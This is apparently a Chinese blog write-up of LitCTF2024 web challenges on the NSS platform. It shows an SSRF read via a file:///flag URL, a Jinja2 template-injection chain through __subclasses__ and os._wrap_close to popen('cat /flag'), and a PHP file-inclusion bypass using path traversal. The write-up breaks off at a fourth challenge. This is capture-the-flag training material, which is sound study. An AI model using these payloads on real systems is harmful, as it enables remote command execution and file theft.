LitCTF2024 Web (NSS刷题记录)

LitCTF2024 (NSS)

1.浏览器也能套娃?

请添加图片描述

一进去是让输入URL,反复输入题目的URL就是多层套娃

尝试输入其他网站

请添加图片描述

发现百度是可以的,那么这种通过url地址分享网页内容功能处,应该是SSRF

则有SSRF利用:

url?url=http://内网的资源url

本题可以使用file伪协议(即尝试从文件系统中获取文件)

url=file:///flag

请添加图片描述


2.一个…池子?

__class__   :返回类型所属的对象
__mro__     :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   :返回该对象所继承的父类
__subclasses__(): 获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

请添加图片描述

看了下是Flask和Nginx,Flask是目前python主流的一个web微框架,通过Flask框架我们可以利用python语言搭建起web服务

Flask默认使用的引擎为jinjia2

而在JINJIA2引擎中:

{
  
  { ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

又根据提示是SSTI,就随便塞了一段进去:{ {''.__class__.__bases__[0].__subclasses__()}}

请添加图片描述

然后ctrl + F搜索os._wrap_close,根据定位到137

{ {''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

看看有没有popen函数

发现有,则payload:

{ {''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

请添加图片描述


3.高亮主题(划掉)背景查看器

源码如下:

<?php

// 文件包含漏洞演示

if (isset($_GET['url'])) {
   
   

    // 读取并包含用户输入的文件

    $file = $_GET['url'];

    if (strpos($file, '..') === false) {
   
   

        include $file;

    } else {
   
   

        echo "Access denied.";

    }

} else {
   
   

    echo "No file specified.";

}

?>

但是按照代码上传却什么也没显示

请添加图片描述

回到原页面,发现切换主题会有变动,于是尝试抓包切换页面的过程

请添加图片描述

发现有个POST传参

将theme2.php改为/flag.php发现报错

就改成了…/…/…/…/flag

就行了()

请添加图片描述


4.百万美元的诱惑

<?php
error_reporting
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值